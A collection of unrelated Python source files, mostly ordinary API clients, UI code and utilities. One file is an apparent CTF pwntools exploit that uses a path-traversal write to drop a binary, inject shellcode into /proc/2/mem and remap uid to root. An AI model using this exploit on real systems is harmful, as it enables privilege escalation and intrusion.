x = np.load("./word2vec_fine-tuning-iter5_x.npy", allow_pickle=True)
y = np.load("./y_full.npy", allow_pickle=True)
dataname = "word2vec_pre_all"
xy = train(x)
np.random.seed(seed=71)
idx = np.array([ np.random.choice(np.where(y == i)[0], 120) for i in range(5) ] ).reshape(5, -1).flatten()
xs,ys,labels = xy[idx, 0], xy[idx, 1], y[idx]
visualize(xs, ys, labels, dataname)
|
nilq/baby-python
|
python
|
"""HOBO API"""
from __future__ import annotations
import json
import logging
import time
from typing import Any, List, Optional, Union
import requests
from ..exceptions import ResponseError
# https://docs.python.org/3/howto/logging.html#logging-basic-tutorial
logger = logging.getLogger('hobo_iot')
# logger.setLevel(logging.DEBUG)
default_handler = logging.StreamHandler()
default_handler.setFormatter(logging.Formatter(
"[%(asctime)s] [hobo-%(module)s] %(message)s"
))
logger.addHandler(default_handler)
HoboLogger = logger
HOBO_ENDPOINT = "https://webservice.hobolink.com"
HOBO_GET_TOKEN_API = "/ws/auth/token"
class HoboTokenInfo:
"""Hobo token info.
Attributes:
access_token: Access token.
token_type: "bearer".
expire_time: Time in seconds when the token will be expired.
"""
def __init__(self, token_response: dict[str, Any]):
"""Init HoboTokenInfo."""
self.access_token = token_response.get("access_token", "")
self.token_type = token_response.get("token_type", "bearer")
self.expire_time = (
time.time()
+ token_response.get("expires_in", 600)
)
def need_refresh(self) -> bool:
"""Should we get a new the token?"""
if self.access_token:
return time.time() + 60 > self.expire_time # type: ignore
else:
return True
class HoboAPI:
"""HOBO API
Example:
hobo_api = HoboAPI(client_id, client_secret, user_id)
hobo_api.get_data(["1234567", "8912345"], start_date_time, end_date_time)
"""
def __init__(
self,
client_id: str,
client_secret: str,
user_id: int | str,
endpoint: str = HOBO_ENDPOINT
):
self.endpoint = endpoint
self.client_id = client_id
self.client_secret = client_secret
self.user_id = str(user_id)
self.session = requests.session()
self.token_info: HoboTokenInfo | None = None
self._get_access_token_if_needed(force=True)
def get_data(
self,
loggers: List[Union[str, int]] | Union[str, int],
start_date_time: str,
end_date_time: str,
warn_on_empty_data: bool = False
) -> dict[str, Any]:
"""Get data from HOBO Web Services
Args:
loggers (List[Union[str, int]] | Union[str, int]):
A list of Device IDs, or a single comma separated string of device ids.
start_date_time (str):
Must be in yyyy-MM-dd HH:mm:ss format
end_date_time (str):
Must be in yyyy-MM-dd HH:mm:ss format
warn_on_empty_data (bool):
If True, print a warning message (to HoboLogger, which by default is your console).
Has no effect on function return.
Returns:
response (dict): JSON decoded response
Raises:
TypeError:
The "loggers" parameter type is incorrect
"""
# Comma separated list of logger device IDs
logger_list: str = ""
if isinstance(loggers, str):
logger_list = loggers
elif isinstance(loggers, list):
logger_list = ",".join((str(id) for id in loggers))
else:
raise TypeError('Please check your input to get_data function')
params = {
"loggers": logger_list,
"start_date_time": start_date_time,
"end_date_time": end_date_time
}
response = self.get(
path=f"/ws/data/file/JSON/user/{self.user_id}",
params=params
)
if warn_on_empty_data and not response.get('observation_list', None):
logger.warning(f"The data seems to be empty. Response: {response}, t = {int(time.time())}")
return response
def _get_access_token_if_needed(self, force: bool = False) -> None:
"""Get a new token if needed
Args:
force (bool): do not cache old token
Raises:
ResponseError: HTTP status code and response text
"""
if not force and self.token_info and not self.token_info.need_refresh():
return
payload = {
"grant_type": "client_credentials",
"client_id": self.client_id,
"client_secret": self.client_secret
}
logger.debug(f"Getting new token, t = {int(time.time())}")
logger.debug(
f"Request: method = POST, \
url = {self.endpoint + HOBO_GET_TOKEN_API},\
params = None,\
body = {payload},\
t = {int(time.time())}"
)
response: requests.Response = self.session.post(
url=self.endpoint + HOBO_GET_TOKEN_API,
data=payload
)
if response.ok is False:
logger.error(
f"Response error: code={response.status_code}, body={response.text}"
)
raise ResponseError(response.status_code, response.text)
self.token_info = HoboTokenInfo(response.json())
def __request(
self,
method: str,
path: str,
params: Optional[dict[str, Any]] = None,
body: Optional[dict[str, Any]] = None,
auth_required: bool = True
) -> dict[str, Any]:
"""Internal method to call requests package
Args:
method (str):
GET or POST
path (str):
Example: '/ws/data/file/JSON/user/13751'
params (map):
Request parameter
body (map):
Request body, passed to "data" parameter of requests.post
Returns:
response (dict): JSON decoded response body
Raises:
ResponseError: HTTP status code and response text
"""
if auth_required:
self._get_access_token_if_needed()
headers = None
if self.token_info:
access_token = self.token_info.access_token
headers = {"Authorization": f"Bearer {access_token}"}
logger.debug(
f"Request: method = {method}, \
url = {self.endpoint + path},\
params = {params},\
body = {body},\
t = {int(time.time())}"
)
response = self.session.request(
method, self.endpoint + path, params=params, data=body, headers=headers
)
if response.ok is False:
logger.error(
f"Response error: code={response.status_code}, body={response.text}"
)
raise ResponseError(response.status_code, response.text)
result: dict[str, Any] = response.json()
logger.debug(
f"Response: {json.dumps(result, ensure_ascii=False, indent=2)}"
)
return result
def get(
self, path: str, params: Optional[dict[str, Any]] = None
) -> dict[str, Any]:
"""Http Get.
Requests the server to return specified resources.
Args:
path (str): api path
params (map): request parameter
Returns:
response (dict): JSON decoded response body
"""
return self.__request(method="GET", path=path, params=params, body=None)
def post(
self, path: str, body: Optional[dict[str, Any]] = None
) -> dict[str, Any]:
"""Http Post.
Requests the server to update specified resources.
Args:
path (str): api path
body (map): request body
Returns:
response (dict): JSON decoded response body
"""
return self.__request(method="POST", path=path, params=None, body=body)
|
nilq/baby-python
|
python
|
from Lib.statistics import mean, harmonic_mean, median, mode, median_low, median_high, median_grouped, stdev, pstdev, \
pvariance, variance, StatisticsError
class Statistics(object):
"""The library used to define statistical outputs"""
def __init__(self):
self.allTimers = []
self.stat = 0
def arithmetic_mean(self, collection):
try:
self.allTimers = collection
self.stat = mean(collection)
except StatisticsError:
self.stat = 0
return self.stat
def harmonic_mean(self, collection):
try:
self.allTimers = collection
self.stat = harmonic_mean(collection)
except StatisticsError:
self.stat = 0
return self.stat
def median(self, collection):
try:
self.allTimers = collection
self.stat = median(collection)
except StatisticsError:
self.stat = 0
return self.stat
def median_low(self, collection):
try:
self.allTimers = collection
self.stat = median_low(collection)
except StatisticsError:
self.stat = 0
return self.stat
def median_high(self, collection):
try:
self.allTimers = collection
self.stat = median_high(collection)
except StatisticsError:
self.stat = 0
return self.stat
def median_grouped(self, collection):
try:
self.allTimers = collection
self.stat = median_grouped(collection)
except StatisticsError:
self.stat = 0
return self.stat
def mode(self, collection):
try:
self.allTimers = collection
self.stat = mode(collection)
except StatisticsError:
self.stat = 0
return self.stat
def std_dev(self, collection):
try:
self.allTimers = collection
self.stat = stdev(collection)
except StatisticsError:
self.stat = 0
return self.stat
def variance(self, collection):
try:
self.allTimers = collection
self.stat = variance(collection, xbar=None)
except StatisticsError:
self.stat = 0
return self.stat
def population_std_dev(self, collection):
try:
self.allTimers = collection
self.stat = pstdev(collection)
except StatisticsError:
self.stat = 0
return self.stat
def population_variance(self, collection):
try:
self.allTimers = collection
self.stat = pvariance(collection)
except StatisticsError:
self.stat = 0
return self.stat
|
nilq/baby-python
|
python
|
"""Simple test for using adafruit_motorkit with a DC motor"""
import time
import board
from adafruit_motorkit import MotorKit
kit = MotorKit(i2c=board.I2C())
kit.motor1.throttle = 1.0
time.sleep(0.5)
kit.motor1.throttle = 0
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
#
#Copyright 2020 Google LLC
#
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# -*- coding: utf-8 -*-
from pwn import *
import subprocess
import nsfs_pb2 as nsfs
context.arch = 'amd64'
subprocess.check_call(['make', 'stage2'])
r = remote('127.0.0.1', 1337)
process_cnt = 2
def chunks(lst, n):
for i in range(0, len(lst), n):
yield lst[i:i + n]
def write_file(path, data, offset=0):
global process_cnt
for part in chunks(data, 4096):
op = nsfs.Operation()
op.action = nsfs.WRITE
op.path = ".\x00/.." + path
op.data = part
if offset != 0:
op.offset = offset
msg = op.SerializeToString()
r.send(p32(len(msg)) + msg)
offset += 4096
process_cnt += 1
#r.recvuntil('write success\n')
write_file('/tmp/stage2', read('stage2'))
sc = shellcraft.nop()*0x100 + shellcraft.execve('/tmp/stage2')
write_file('/proc/2/mem', asm(sc), ELF('./init').symbols['main'])
r.recvuntil('waiting for uid 0')
print('writing uid_map')
write_file('/proc/{}/uid_map'.format(process_cnt+1), "0 1338 1\n1338 0 1")
r.interactive()
|
nilq/baby-python
|
python
|
from django.conf.urls import url, include
urlpatterns = [
url(r'^oauth2/', include('django_auth_adfs.urls')),
url(r'^oauth2/', include('django_auth_adfs.drf_urls')),
]
|
nilq/baby-python
|
python
|
from typing import List, Tuple
from instagrapi.exceptions import ClientError, HashtagNotFound
from instagrapi.extractors import (
extract_hashtag_gql,
extract_hashtag_v1,
extract_media_gql,
extract_media_v1,
)
from instagrapi.types import Hashtag, Media
from instagrapi.utils import dumps
class HashtagMixin:
"""
Helpers for managing Hashtag
"""
def hashtag_info_a1(self, name: str, max_id: str = None) -> Hashtag:
"""
Get information about a hashtag by Public Web API
Parameters
----------
name: str
Name of the hashtag
max_id: str
Max ID, default value is None
Returns
-------
Hashtag
An object of Hashtag
"""
params = {"max_id": max_id} if max_id else None
data = self.public_a1_request(f"/explore/tags/{name}/", params=params)
if not data.get("hashtag"):
raise HashtagNotFound(name=name, **data)
return extract_hashtag_gql(data["hashtag"])
def hashtag_info_gql(
self, name: str, amount: int = 12, end_cursor: str = None
) -> Hashtag:
"""
Get information about a hashtag by Public Graphql API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 12
end_cursor: str, optional
End Cursor, default value is None
Returns
-------
Hashtag
An object of Hashtag
"""
variables = {"tag_name": name, "show_ranked": False, "first": int(amount)}
if end_cursor:
variables["after"] = end_cursor
data = self.public_graphql_request(
variables, query_hash="f92f56d47dc7a55b606908374b43a314"
)
if not data.get("hashtag"):
raise HashtagNotFound(name=name, **data)
return extract_hashtag_gql(data["hashtag"])
def hashtag_info_v1(self, name: str) -> Hashtag:
"""
Get information about a hashtag by Private Mobile API
Parameters
----------
name: str
Name of the hashtag
Returns
-------
Hashtag
An object of Hashtag
"""
result = self.private_request(f"tags/{name}/info/")
return extract_hashtag_v1(result)
def hashtag_info(self, name: str) -> Hashtag:
"""
Get information about a hashtag
Parameters
----------
name: str
Name of the hashtag
Returns
-------
Hashtag
An object of Hashtag
"""
try:
hashtag = self.hashtag_info_a1(name)
except Exception:
# Users do not understand the output of such information and create bug reports
# such this - https://github.com/adw0rd/instagrapi/issues/364
# if not isinstance(e, ClientError):
# self.logger.exception(e)
hashtag = self.hashtag_info_v1(name)
return hashtag
def hashtag_related_hashtags(self, name: str) -> List[Hashtag]:
"""
Get related hashtags from a hashtag
Parameters
----------
name: str
Name of the hashtag
Returns
-------
List[Hashtag]
List of objects of Hashtag
"""
data = self.public_a1_request(f"/explore/tags/{name}/")
if not data.get("hashtag"):
raise HashtagNotFound(name=name, **data)
return [
extract_hashtag_gql(item["node"])
for item in data["hashtag"]["edge_hashtag_to_related_tags"]["edges"]
]
def hashtag_medias_a1_chunk(
self, name: str, max_amount: int = 27, tab_key: str = "", end_cursor: str = None
) -> Tuple[List[Media], str]:
"""
Get chunk of medias and end_cursor by Public Web API
Parameters
----------
name: str
Name of the hashtag
max_amount: int, optional
Maximum number of media to return, default is 27
tab_key: str, optional
Tab Key, default value is ""
end_cursor: str, optional
End Cursor, default value is None
Returns
-------
Tuple[List[Media], str]
List of objects of Media and end_cursor
"""
assert tab_key in ("edge_hashtag_to_top_posts", "edge_hashtag_to_media"), \
'You must specify one of the options for "tab_key" ("edge_hashtag_to_top_posts" or "edge_hashtag_to_media")'
unique_set = set()
medias = []
while True:
data = self.public_a1_request(
f"/explore/tags/{name}/",
params={"max_id": end_cursor} if end_cursor else {},
)["hashtag"]
page_info = data["edge_hashtag_to_media"]["page_info"]
end_cursor = page_info["end_cursor"]
edges = data[tab_key]["edges"]
for edge in edges:
if max_amount and len(medias) >= max_amount:
break
# check uniq
media_pk = edge["node"]["id"]
if media_pk in unique_set:
continue
unique_set.add(media_pk)
# check contains hashtag in caption
media = extract_media_gql(edge["node"])
if f"#{name}" not in media.caption_text:
continue
# Enrich media: Full user, usertags and video_url
medias.append(self.media_info_gql(media_pk))
######################################################
# infinity loop in hashtag_medias_top_a1
# https://github.com/adw0rd/instagrapi/issues/52
######################################################
# Mikhail Andreev, [30.12.20 02:17]:
# Instagram always returns the same 9 medias for top
# I think we should return them without a loop
######################################################
# if not page_info["has_next_page"] or not end_cursor:
# break
# if max_amount and len(medias) >= max_amount:
# break
break
return medias, end_cursor
def hashtag_medias_a1(
self, name: str, amount: int = 27, tab_key: str = ""
) -> List[Media]:
"""
Get medias for a hashtag by Public Web API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 27
tab_key: str, optional
Tab Key, default value is ""
Returns
-------
List[Media]
List of objects of Media
"""
medias, _ = self.hashtag_medias_a1_chunk(name, amount, tab_key)
if amount:
medias = medias[:amount]
return medias
def hashtag_medias_v1_chunk(
self, name: str, max_amount: int = 27, tab_key: str = "", max_id: str = None
) -> Tuple[List[Media], str]:
"""
Get chunk of medias for a hashtag and max_id (cursor) by Private Mobile API
Parameters
----------
name: str
Name of the hashtag
max_amount: int, optional
Maximum number of media to return, default is 27
tab_key: str, optional
Tab Key, default value is ""
max_id: str
Max ID, default value is None
Returns
-------
Tuple[List[Media], str]
List of objects of Media and max_id
"""
assert tab_key in ("top", "recent"), \
'You must specify one of the options for "tab_key" ("top" or "recent")'
data = {
"supported_tabs": dumps([tab_key]),
# 'lat': 59.8626416,
# 'lng': 30.5126682,
"include_persistent": "true",
"rank_token": self.rank_token,
"count": 10000,
}
medias = []
while True:
result = self.private_request(
f"tags/{name}/sections/",
params={"max_id": max_id} if max_id else {},
data=self.with_default_data(data),
)
for section in result["sections"]:
layout_content = section.get("layout_content") or {}
nodes = layout_content.get("medias") or []
for node in nodes:
if max_amount and len(medias) >= max_amount:
break
media = extract_media_v1(node["media"])
# check contains hashtag in caption
if f"#{name}" not in media.caption_text:
continue
medias.append(media)
if not result["more_available"]:
break
if max_amount and len(medias) >= max_amount:
break
max_id = result["next_max_id"]
return medias, max_id
def hashtag_medias_v1(
self, name: str, amount: int = 27, tab_key: str = ""
) -> List[Media]:
"""
Get medias for a hashtag by Private Mobile API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 27
tab_key: str, optional
Tab Key, default value is ""
Returns
-------
List[Media]
List of objects of Media
"""
medias, _ = self.hashtag_medias_v1_chunk(name, amount, tab_key)
if amount:
medias = medias[:amount]
return medias
def hashtag_medias_top_a1(self, name: str, amount: int = 9) -> List[Media]:
"""
Get top medias for a hashtag by Public Web API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 9
Returns
-------
List[Media]
List of objects of Media
"""
return self.hashtag_medias_a1(name, amount, tab_key="edge_hashtag_to_top_posts")
def hashtag_medias_top_v1(self, name: str, amount: int = 9) -> List[Media]:
"""
Get top medias for a hashtag by Private Mobile API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 9
Returns
-------
List[Media]
List of objects of Media
"""
return self.hashtag_medias_v1(name, amount, tab_key="top")
def hashtag_medias_top(self, name: str, amount: int = 9) -> List[Media]:
"""
Get top medias for a hashtag
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 9
Returns
-------
List[Media]
List of objects of Media
"""
try:
medias = self.hashtag_medias_top_a1(name, amount)
except ClientError:
medias = self.hashtag_medias_top_v1(name, amount)
return medias
def hashtag_medias_recent_a1(self, name: str, amount: int = 71) -> List[Media]:
"""
Get recent medias for a hashtag by Public Web API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 71
Returns
-------
List[Media]
List of objects of Media
"""
return self.hashtag_medias_a1(name, amount, tab_key="edge_hashtag_to_media")
def hashtag_medias_recent_v1(self, name: str, amount: int = 27) -> List[Media]:
"""
Get recent medias for a hashtag by Private Mobile API
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 71
Returns
-------
List[Media]
List of objects of Media
"""
return self.hashtag_medias_v1(name, amount, tab_key="recent")
def hashtag_medias_recent(self, name: str, amount: int = 27) -> List[Media]:
"""
Get recent medias for a hashtag
Parameters
----------
name: str
Name of the hashtag
amount: int, optional
Maximum number of media to return, default is 71
Returns
-------
List[Media]
List of objects of Media
"""
try:
medias = self.hashtag_medias_recent_a1(name, amount)
except ClientError:
medias = self.hashtag_medias_recent_v1(name, amount)
return medias
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import json
from alipay.aop.api.response.AlipayResponse import AlipayResponse
class ZhimaCreditEpDataRatingQueryResponse(AlipayResponse):
def __init__(self):
super(ZhimaCreditEpDataRatingQueryResponse, self).__init__()
self._amount = None
self._biz_code = None
self._credit_level = None
self._decision = None
self._ext_info = None
self._relation_order_no = None
self._transaction_id = None
@property
def amount(self):
return self._amount
@amount.setter
def amount(self, value):
self._amount = value
@property
def biz_code(self):
return self._biz_code
@biz_code.setter
def biz_code(self, value):
self._biz_code = value
@property
def credit_level(self):
return self._credit_level
@credit_level.setter
def credit_level(self, value):
self._credit_level = value
@property
def decision(self):
return self._decision
@decision.setter
def decision(self, value):
self._decision = value
@property
def ext_info(self):
return self._ext_info
@ext_info.setter
def ext_info(self, value):
self._ext_info = value
@property
def relation_order_no(self):
return self._relation_order_no
@relation_order_no.setter
def relation_order_no(self, value):
self._relation_order_no = value
@property
def transaction_id(self):
return self._transaction_id
@transaction_id.setter
def transaction_id(self, value):
self._transaction_id = value
def parse_response_content(self, response_content):
response = super(ZhimaCreditEpDataRatingQueryResponse, self).parse_response_content(response_content)
if 'amount' in response:
self.amount = response['amount']
if 'biz_code' in response:
self.biz_code = response['biz_code']
if 'credit_level' in response:
self.credit_level = response['credit_level']
if 'decision' in response:
self.decision = response['decision']
if 'ext_info' in response:
self.ext_info = response['ext_info']
if 'relation_order_no' in response:
self.relation_order_no = response['relation_order_no']
if 'transaction_id' in response:
self.transaction_id = response['transaction_id']
|
nilq/baby-python
|
python
|
# Import from standard library
import logging
import datetime
import math
# Import from third-party
from flask import Flask, render_template, json, request, jsonify, session
import pytz
# Import local files
import DAO.db_connect as db_connect
from config.config import ElasticConfig
def nessus_overview():
try:
es = db_connect.connect_elasticsearch()
try:
# Process sort and body from arguments
search_query = request.args.get('q') or ''
_search_query = ' '.join(
'*'+_+'*' for _ in search_query.split(' '))
paging_from = int(request.args.get('page') or 1)
paging_size = ElasticConfig.DEFAULT_PAGE_SIZE
if 'size' in request.args:
paging_size = int(request.args.get('size'))
session['paging_size'] = paging_size
elif 'paging_size' in session:
paging_size = session['paging_size']
sort = request.args.get('sort')
index = request.args.get('index')
if index is None:
index = "scanstat.startTime"
if sort is None:
sort = "desc"
sort_query = generateSortQuery(sort, index)
query_body = {
"_source": ["target", "vuln_stats", "scanstat", "hostname", "ports", "scan_id", "scan_name", "root_scan_id"],
"from": (paging_from - 1) * paging_size,
"size": paging_size,
"query": {
"bool": {
"filter": {
"bool": {
"should": [
{
"query_string": {
"fields": ["target", "hostname", "scan_id", "scan_name"],
"query": _search_query
}
}
]
}
}
}
}
}
# Process data
rawData = es.search(index=ElasticConfig.NESSUS_INDEX,
body=query_body, sort=sort_query)
processed_data = processNessus(rawData)
paging_total = processed_data['total']
paging = {
"paging_from": paging_from,
"paging_size": paging_size,
"paging_total": paging_total,
"left_page": max(paging_from - 2, 1),
"right_page": min(max(paging_from - 2, 1) + 4, math.ceil(paging_total / paging_size))
}
if sort == "desc":
sort = "asc"
else:
sort = "desc"
except:
logging.exception(msg="Fail")
except:
logging.exception(msg="Fail")
session['module'] = "nessus"
session['overview'] = True
return render_template('nessus.html', response=processed_data, search_query=search_query, sorting=sort, index=index, paging=paging)
def generateSortQuery(sort, index):
sort_query = ""
if index == '1':
sort_query = "target.keyword" + ":" + sort
elif index == '2':
sort_query = "hostname.keyword" + ":" + sort
elif index == '3':
sort_query = "scanstat.startTime" + ":" + sort
elif index == '4':
sort_query = "scanstat.duration" + ":" + sort
elif index == '5':
sort_query = "scan_id.keyword" + ":" + sort
elif index == '6':
sort_query = "scan_name.keyword" + ":" + sort
elif index == '7':
sort_query = "vuln_stats.high:{},vuln_stats.medium:{},vuln_stats.low:{},vuln_stats.informational:{}".format(sort, sort, sort, sort)
return sort_query
def processNessus(rawData):
try:
UTC7 = pytz.timezone('Asia/Ho_Chi_Minh')
processing_data = rawData['hits']
result = {}
# Backward version of elasticSearch compatitive
if type(processing_data['total']) == dict:
result['total'] = processing_data['total']['value']
else:
result['total'] = processing_data['total']
result['records'] = []
for hit in processing_data['hits']:
_source = hit['_source']
_source["id"] = hit.get('_id')
_source['init_time'] = str(datetime.datetime.fromtimestamp(
int(_source.get('scanstat').get("startTime")), tz=UTC7))
_source['scan_time'] = int(_source.get('scanstat').get("duration"))
result['records'].append(_source)
return result
except:
logging.exception(msg="No validated jsonified data to be processed!")
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
import distutils.log
import os
import subprocess
from distutils.spawn import find_executable
from setuptools import Command, find_packages, setup
from distutils.command.build import build
class BuildCommand(build):
def run(self):
self.run_command('compile_webui')
build.run(self)
class CompileWebUI(Command):
description = 'use npm to compile raiden_webui'
user_options = [
('dev', 'D', 'use development preset, instead of production (default)'),
]
def initialize_options(self):
self.dev = None
def finalize_options(self):
pass
def run(self):
npm = find_executable('npm')
if not npm:
if os.environ.get('RAIDEN_NPM_MISSING_FATAL') is not None:
# Used in the automatic deployment scripts to prevent builds with missing web-ui
raise RuntimeError('NPM not found. Aborting')
self.announce(
'NPM not found. Skipping webUI compilation',
level=distutils.log.WARN, # pylint: disable=no-member
)
return
npm_run = 'build:prod'
if self.dev is not None:
npm_run = 'build:dev'
cwd = os.path.abspath(
os.path.join(
os.path.dirname(__file__)
),
)
npm_version = subprocess.check_output([npm, '--version'])
# require npm 4.x.x or later
if not int(npm_version.split(b'.')[0]) >= 4:
if os.environ.get('RAIDEN_NPM_MISSING_FATAL') is not None:
# Used in the automatic deployment scripts to prevent builds with missing web-ui
raise RuntimeError(f'NPM >= 4.0 required. Have {npm_version} from {npm}.')
self.announce(
'NPM 4.x or later required. Skipping webUI compilation',
level=distutils.log.WARN, # pylint: disable=no-member
)
return
command = [npm, 'install']
self.announce(
'Running %r in %r' % (command, cwd),
level=distutils.log.INFO, # pylint: disable=no-member
)
subprocess.check_call(command, cwd=cwd)
command = [npm, 'run', npm_run]
self.announce(
'Running %r in %r' % (command, cwd),
level=distutils.log.INFO, # pylint: disable=no-member
)
subprocess.check_call(command, cwd=cwd)
self.announce(
'WebUI compiled with success!',
level=distutils.log.INFO, # pylint: disable=no-member
)
with open('README.md', encoding='utf-8') as readme_file:
readme = readme_file.read()
history = ''
version = '0.9.2' # Do not edit: this is maintained by bumpversion (see .bumpversion.cfg)
setup(
name='raiden-webui',
description='Raiden webui',
version=version,
long_description=readme,
long_description_content_type='text/markdown',
author='Brainbot Labs Est.',
author_email='contact@brainbot.li',
url='https://github.com/raiden-network/webui',
packages=find_packages(),
include_package_data=True,
license='MIT',
zip_safe=False,
keywords='raiden webui',
classifiers=[
'Development Status :: 3 - Alpha',
'Intended Audience :: Developers',
'License :: OSI Approved :: MIT License',
'Natural Language :: English'
],
cmdclass={
'compile_webui': CompileWebUI,
'build': BuildCommand
},
use_scm_version=True,
setup_requires=['setuptools_scm'],
python_requires='>=3.6'
)
|
nilq/baby-python
|
python
|
from PyQt5.QtCore import QSize, Qt
from PyQt5.QtGui import QResizeEvent
from PyQt5.QtWidgets import QScrollArea, QVBoxLayout, QWidget
from brainframe_qt.ui.resources import stylesheet_watcher
from brainframe_qt.ui.resources.mixins.style import TransientScrollbarMI
from brainframe_qt.ui.resources.paths import qt_qss_paths
from brainframe_qt.ui.resources.ui_elements.widgets import BackgroundImageText
from .widgets.thumbnail_grid_layout import ThumbnailGridLayout
class _VideoThumbnailViewUI(QWidget):
def __init__(self, parent: QWidget):
super().__init__(parent)
self.background_widget = self._init_background_widget()
self.alert_stream_layout = self._init_alert_stream_layout()
self.alertless_stream_layout = self._init_alertless_stream_layout()
self.container_widget = self._init_container_widget()
self.scroll_area = self._init_scroll_area()
self._init_layout()
self._init_style()
def _init_background_widget(self) -> BackgroundImageText:
text = self.tr("Click the ➕ button to add a new stream")
svg_path = ":/icons/no_streams"
background_widget = BackgroundImageText(text, svg_path, self)
return background_widget
def _init_container_widget(self) -> QWidget:
container_widget = QWidget(self)
container_widget.setObjectName("container")
container_widget.setAttribute(Qt.WA_StyledBackground, True)
container_widget.setLayout(self._init_container_widget_layout())
container_widget.setAttribute(Qt.WA_StyledBackground, True)
return container_widget
# noinspection PyMethodMayBeStatic
def _init_container_widget_layout(self) -> QVBoxLayout:
layout = _ContainerLayout()
layout.setAlignment(Qt.AlignTop)
layout.setContentsMargins(0, 0, 0, 0)
layout.setSpacing(0)
layout.addWidget(self.alert_stream_layout)
layout.addWidget(self.alertless_stream_layout)
layout.setAlignment(self.alert_stream_layout, Qt.AlignTop)
layout.setAlignment(self.alertless_stream_layout, Qt.AlignTop)
return layout
def _init_scroll_area(self) -> "_ThumbnailScrollArea":
scroll_area = _ThumbnailScrollArea(self)
scroll_area.setWidget(self.container_widget)
return scroll_area
def _init_alert_stream_layout(self) -> ThumbnailGridLayout:
alert_stream_layout = ThumbnailGridLayout(self)
layout_name = self.tr("Streams with ongoing alerts:")
alert_stream_layout.layout_name = layout_name
alert_stream_layout.expand_grid(True)
return alert_stream_layout
def _init_alertless_stream_layout(self) -> ThumbnailGridLayout:
alertless_stream_layout = ThumbnailGridLayout(self)
layout_name = self.tr("Streams without alerts:")
alertless_stream_layout.layout_name = layout_name
alertless_stream_layout.expand_grid(True)
return alertless_stream_layout
def _init_layout(self) -> None:
layout = QVBoxLayout()
layout.setAlignment(Qt.AlignTop)
layout.addWidget(self.background_widget)
layout.addWidget(self.scroll_area)
self.scroll_area.hide()
self.setLayout(layout)
def _init_style(self) -> None:
# Allow background of widget to be styled
self.setAttribute(Qt.WA_StyledBackground, True)
stylesheet_watcher.watch(self, qt_qss_paths.video_thumbnail_view_qss)
class _ThumbnailScrollArea(QScrollArea, TransientScrollbarMI):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self._init_viewport_widget()
self._init_style()
def resizeEvent(self, event: QResizeEvent) -> None:
"""Prevent the scroll area from scrolling horizontally by setting
minimumWidth to be the sizeHint of its contents"""
super().resizeEvent(event)
self.setMinimumWidth(self.widget().minimumSizeHint().width())
def _init_viewport_widget(self) -> None:
# Give the viewport a name for the stylesheet
self.viewport().setObjectName("viewport")
self.viewport().setAttribute(Qt.WA_StyledBackground, True)
def _init_style(self) -> None:
# Allow background of widget to be styled
self.setAttribute(Qt.WA_StyledBackground, True)
self.setWidgetResizable(True)
class _ContainerLayout(QVBoxLayout):
def sizeHint(self) -> QSize:
"""This is a hack. Not doing this makes the ThumbnailGridLayouts get
squished vertically, when used in conjunction with their container
layout's alignment set to Qt.AlignTop. I don't know why this fixes it
"""
sh = super().sizeHint()
sh.setHeight(9999999)
return sh
|
nilq/baby-python
|
python
|
# coding: utf-8
import os
import logging
import sys
import torch
import time
import copy
# my staff
from models.modules.context_embedder_base import ContextEmbedderBase, BertContextEmbedder, \
BertSeparateContextEmbedder, NormalContextEmbedder, BertSchemaContextEmbedder, BertSchemaSeparateContextEmbedder, \
ElectraContextEmbedder, ElectraSchemaContextEmbedder
from models.modules.similarity_scorer_base import SimilarityScorerBase, MatchingSimilarityScorer, \
PrototypeSimilarityScorer, ProtoWithLabelSimilarityScorer, TapNetSimilarityScorer, \
reps_dot, reps_l2_sim, reps_cosine_sim
from models.modules.emission_scorer_base import EmissionScorerBase, MNetEmissionScorer, \
PrototypeEmissionScorer, ProtoWithLabelEmissionScorer, TapNetEmissionScorer
from models.modules.transition_scorer import FewShotTransitionScorer, FewShotTransitionScorerFromLabel
from models.modules.seq_labeler import SequenceLabeler, RuleSequenceLabeler
from models.modules.text_classifier import SingleLabelTextClassifier
from models.modules.conditional_random_field import ConditionalRandomField, allowed_transitions
from models.few_shot_seq_labeler import FewShotSeqLabeler, SchemaFewShotSeqLabeler
from models.few_shot_text_classifier import FewShotTextClassifier, SchemaFewShotTextClassifier
from models.modules.scale_controller import build_scale_controller, ScaleControllerBase
from utils.device_helper import prepare_model
logging.basicConfig(format='%(asctime)s - %(levelname)s - %(name)s - %(message)s',
datefmt='%m/%d/%Y %H:%M:%S',
level=logging.INFO,
stream=sys.stdout)
logger = logging.getLogger(__name__)
def make_scaler_args(name : str, normalizer: ScaleControllerBase, scale_r: float = None):
ret = None
if name == 'learn':
ret = {'normalizer': normalizer}
elif name == 'fix':
ret = {'normalizer': normalizer, 'scale_rate': scale_r}
return ret
def make_model(opt, config):
""" Customize and build the few-shot learning model from components """
''' Build context_embedder '''
if opt.context_emb == 'bert':
context_embedder = BertSchemaContextEmbedder(opt=opt) if opt.use_schema else BertContextEmbedder(opt=opt)
elif opt.context_emb == 'sep_bert':
context_embedder = BertSchemaSeparateContextEmbedder(opt=opt) if opt.use_schema else \
BertSeparateContextEmbedder(opt=opt)
elif opt.context_emb == 'electra':
context_embedder = ElectraSchemaContextEmbedder(opt=opt) if opt.use_schema else ElectraContextEmbedder(opt=opt)
elif opt.context_emb == 'elmo':
